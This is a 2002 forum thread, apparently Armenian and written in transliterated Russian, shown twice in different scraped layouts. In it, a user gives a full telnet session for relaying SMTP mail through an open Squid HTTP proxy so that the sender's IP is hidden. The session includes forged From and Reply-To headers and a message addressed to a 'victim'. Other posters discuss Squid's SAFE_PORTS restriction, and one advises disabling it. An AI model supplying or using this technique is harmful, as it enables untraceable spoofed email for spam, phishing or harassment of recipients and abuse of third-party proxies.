Anonymous mail via http proxy server

dolphin · Sep 11, 2002, 18:58

Nedavno ja obnarujil sposob otsylat' polnostju anonymnye pis'ma, to est' bez registracii IP otpravitelja cherez http proxy server (tested on squid). IP otpravitelja budet IP proxy servera. Esli proxy ne derjit logov to vychislit' optpravitelja nevozmojno.

vot, chto sobstvenno nujno sdelat:

~$ telnet some.proxy.server.net 3128
Connected to some.proxy.server.net (127.128.129.1).
Escape character is '^]'.
POST some.smtp.server.net[/i]:25/]http://some.smtp.server.net:25/ HTTP/1.0
Content-length: 4096

helo gago
mail from: gago@some.am
rcpt to: victim@lame.net
data
From: gago<gago@some.am>
To: victim<victim@lame.net>
Reply-To: "Bill Gates"<billy@microsoft.com>
Subject: Have fun

This letter will be sent anonymously!

blah-blah-blah....

.

^]

telnet> q
Connection closed.

-----------------------------------

gde:

some.proxy.server.net - proxy, cherez kotoryj budet posylatsja pis'mo

some.smtp.server.net - smtp server, kotoryj, naprimer, obslujivaet victim@lame.net ili ljuboj smtp server, kotoryj pozvolit relay.

gago@some.am - adres otpravitelja

victim@lame.net - adres poluchatelja

Rekomendacii:

Viderjat' pauzu posle "Content-length:", chtoby smtp server uspel rugnutsja na neponjatnye emu http headery.

4096 - chislo byte v pis'me, vkljuchaja headery, doljno xotja-by prevyshat' real'noe chislo byte.

Krome perechislennyx headerov posle "data" mojno vkjuchat' ljubye mail headery, ili ne ispol'zovat' nikakix

Dumaju budet neslojno napisat' script ili progu, kotoraja budet otsylat' pochtu takim obrazom.

stealth · Sep 11, 2002, 19:39

С нормально настроеным сквидом, который переадресует только хттп и фтп случается следующее..
==============================================
Napalm:~$ telnet 192.168.65.1 3128
Trying 192.168.65.1...
Connected to 192.168.65.1.
Escape character is '^]'.
POST http://napalm.never.land.am:25/ HTTP/1.0
Content-length: 4096

HTTP/1.0 403 Forbidden
Server: Squid/2.4.STABLE4
Mime-Version: 1.0
Date: Wed, 11 Sep 2002 10:28:10 GMT
Content-Type: text/html
Content-Length: 771
Expires: Wed, 11 Sep 2002 10:28:10 GMT
X-Squid-Error: ERR_ACCESS_DENIED 0
X-Cache: MISS from Proxy.Never.Land.AM
Proxy-Connection: close
ERROR: The requested URL could not be retrieved
<H1>ERROR</H1>
<H2>The requested URL could not be retrieved</H2>
<HR>
<P>
While trying to retrieve the URL:
<A HREF="http://napalm.never.land.am:25/">http://napalm.never.land.am:25/</A>
<P>
The following error was encountered:
<UL>
<LI>
<STRONG>
Access Denied.
</STRONG>
<P>

==============================================

А вообще идея отличная!
Good job!

dolphin · Sep 11, 2002, 19:59

stealth <<

hm.. tvoj proxy rugnulsja ne na sam zapros, a na IP, s kotorogo k nemu obratilis'. Tak on-by otreagiroval na ljuboj zapros. Prover' http_allow v squid.conf

VX · Sep 11, 2002, 21:30

Quote:

Originally posted by DolphiN:
stealth <<

hm.. tvoj proxy rugnulsja ne na sam zapros, a na IP, s kotorogo k nemu obratilis'. Tak on-by otreagiroval na ljuboj zapros. Prover' http_allow v squid.conf

Dolphin v squide napisanno deny !SAFE_PORTS, vot..

))

dolphin · Sep 12, 2002, 02:06

vx << a ty otkuda znaesh'?

all << slovom eta shtuka proverena i rabotaet na proxy serverax, kotorye a) pozvoljajut konnectitsja k nim. b) pozvoljajut delat' zaprosy k nujnym vam smtp serveram i k ix 25-ym portam

stealth · Sep 12, 2002, 06:08

Долф, если ты конечно обратил внимание - запрос шёл на нереальный АЙПИ адрес, то есть логично, что запрос шёл так же с нереального ..
Неужели ты подумал, что я запретил доступ для своей внутренней сетки???
:-)))

dolphin · Sep 12, 2002, 14:32

vx >> "Dolphin v squide napisanno deny !SAFE_PORTS, vot..

))"

stealth << ne znaju mojet i zaprretil

A na samom dele vx prav, tvoj proxy ne puskaet connectitsja k nestandartnym http portam, tak chto otkryvaj dostup k !SAFE_PORTS i vpered

petar · Sep 12, 2002, 15:04

Moderator: Message byl stert iz-za offtpica

Sep 11, 2002, 18:58	#1
dolphin ¡no pasaran! Join Date: Mar 2002 Location: localhost Posts: 538 Rep Power: 7 Reputation: 23	Anonymous mail via http proxy server Nedavno ja obnarujil sposob otsylat' polnostju anonymnye pis'ma, to est' bez registracii IP otpravitelja cherez http proxy server (tested on squid). IP otpravitelja budet IP proxy servera. Esli proxy ne derjit logov to vychislit' optpravitelja nevozmojno. vot, chto sobstvenno nujno sdelat: ~$ *telnet some.proxy.server.net* 3128** Connected to some.proxy.server.net (127.128.129.1). Escape character is '^]'. POST some.smtp.server.net[/i]:25/]http://some.smtp.server.net:25/ HTTP/1.0 Content-length: 4096 helo gago mail from: gago@some.am rcpt to: victim@lame.net data From: gago<gago@some.am> To: victim<victim@lame.net> Reply-To: "Bill Gates"<billy@microsoft.com> Subject: Have fun This letter will be sent anonymously! blah-blah-blah.... . ^] telnet> q Connection closed. ----------------------------------- gde: some.proxy.server.net - proxy, cherez kotoryj budet posylatsja pis'mo some.smtp.server.net - smtp server, kotoryj, naprimer, obslujivaet victim@lame.net ili ljuboj smtp server, kotoryj pozvolit relay. gago@some.am - adres otpravitelja victim@lame.net - adres poluchatelja Rekomendacii: Viderjat' pauzu posle "Content-length:", chtoby smtp server uspel rugnutsja na neponjatnye emu http headery. 4096 - chislo byte v pis'me, vkljuchaja headery, doljno xotja-by prevyshat' real'noe chislo byte. Krome perechislennyx headerov posle "data" mojno vkjuchat' ljubye mail headery, ili ne ispol'zovat' nikakix Dumaju budet neslojno napisat' script ili progu, kotoraja budet otsylat' pochtu takim obrazom. __________________ [ que fors aus ne le sot riens nee ]

Sep 11, 2002, 19:59	#3
dolphin ¡no pasaran! Join Date: Mar 2002 Location: localhost Posts: 538 Rep Power: 7 Reputation: 23	stealth << hm.. tvoj proxy rugnulsja ne na sam zapros, a na IP, s kotorogo k nemu obratilis'. Tak on-by otreagiroval na ljuboj zapros. Prover' http_allow v squid.conf __________________ [ que fors aus ne le sot riens nee ]

Sep 12, 2002, 02:06	#5
dolphin ¡no pasaran! Join Date: Mar 2002 Location: localhost Posts: 538 Rep Power: 7 Reputation: 23	vx << a ty otkuda znaesh'? all << slovom eta shtuka proverena i rabotaet na proxy serverax, kotorye a) pozvoljajut konnectitsja k nim. b) pozvoljajut delat' zaprosy k nujnym vam smtp serveram i k ix 25-ym portam __________________ [ que fors aus ne le sot riens nee ]

Sep 12, 2002, 14:32	#7
dolphin ¡no pasaran! Join Date: Mar 2002 Location: localhost Posts: 538 Rep Power: 7 Reputation: 23	vx >> "Dolphin v squide napisanno deny !SAFE_PORTS, vot.. ))" stealth << ne znaju mojet i zaprretil A na samom dele vx prav, tvoj proxy ne puskaet connectitsja k nestandartnym http portam, tak chto otkryvaj dostup k !SAFE_PORTS i vpered __________________ [ que fors aus ne le sot riens nee ]

Sep 12, 2002, 15:04	#8
petar Студент Join Date: May 2002 Location: Armenia Posts: 276 Rep Power: 7 Reputation: 10	Moderator: Message byl stert iz-za offtpica __________________ http://freenet.am/~getpaid

Sep 11, 2002, 19:39	#2
stealth Posts: n/a Reputation:	С нормально настроеным сквидом, который переадресует только хттп и фтп случается следующее.. ============================================== Napalm:~$ telnet 192.168.65.1 3128 Trying 192.168.65.1... Connected to 192.168.65.1. Escape character is '^]'. POST http://napalm.never.land.am:25/ HTTP/1.0 Content-length: 4096 HTTP/1.0 403 Forbidden Server: Squid/2.4.STABLE4 Mime-Version: 1.0 Date: Wed, 11 Sep 2002 10:28:10 GMT Content-Type: text/html Content-Length: 771 Expires: Wed, 11 Sep 2002 10:28:10 GMT X-Squid-Error: ERR_ACCESS_DENIED 0 X-Cache: MISS from Proxy.Never.Land.AM Proxy-Connection: close ERROR: The requested URL could not be retrieved <H1>ERROR</H1> <H2>The requested URL could not be retrieved</H2> <HR> <P> While trying to retrieve the URL: <A HREF="http://napalm.never.land.am:25/">http://napalm.never.land.am:25/</A> <P> The following error was encountered: <UL> <LI> <STRONG> Access Denied. </STRONG> <P> ============================================== А вообще идея отличная! Good job!

Sep 12, 2002, 06:08	#6
stealth Posts: n/a Reputation:	Долф, если ты конечно обратил внимание - запрос шёл на нереальный АЙПИ адрес, то есть логично, что запрос шёл так же с нереального .. Неужели ты подумал, что я запретил доступ для своей внутренней сетки??? :-)))

Thread Tools
Show Printable Version Email this Page
Display Modes
Linear Mode Switch to Hybrid Mode Switch to Threaded Mode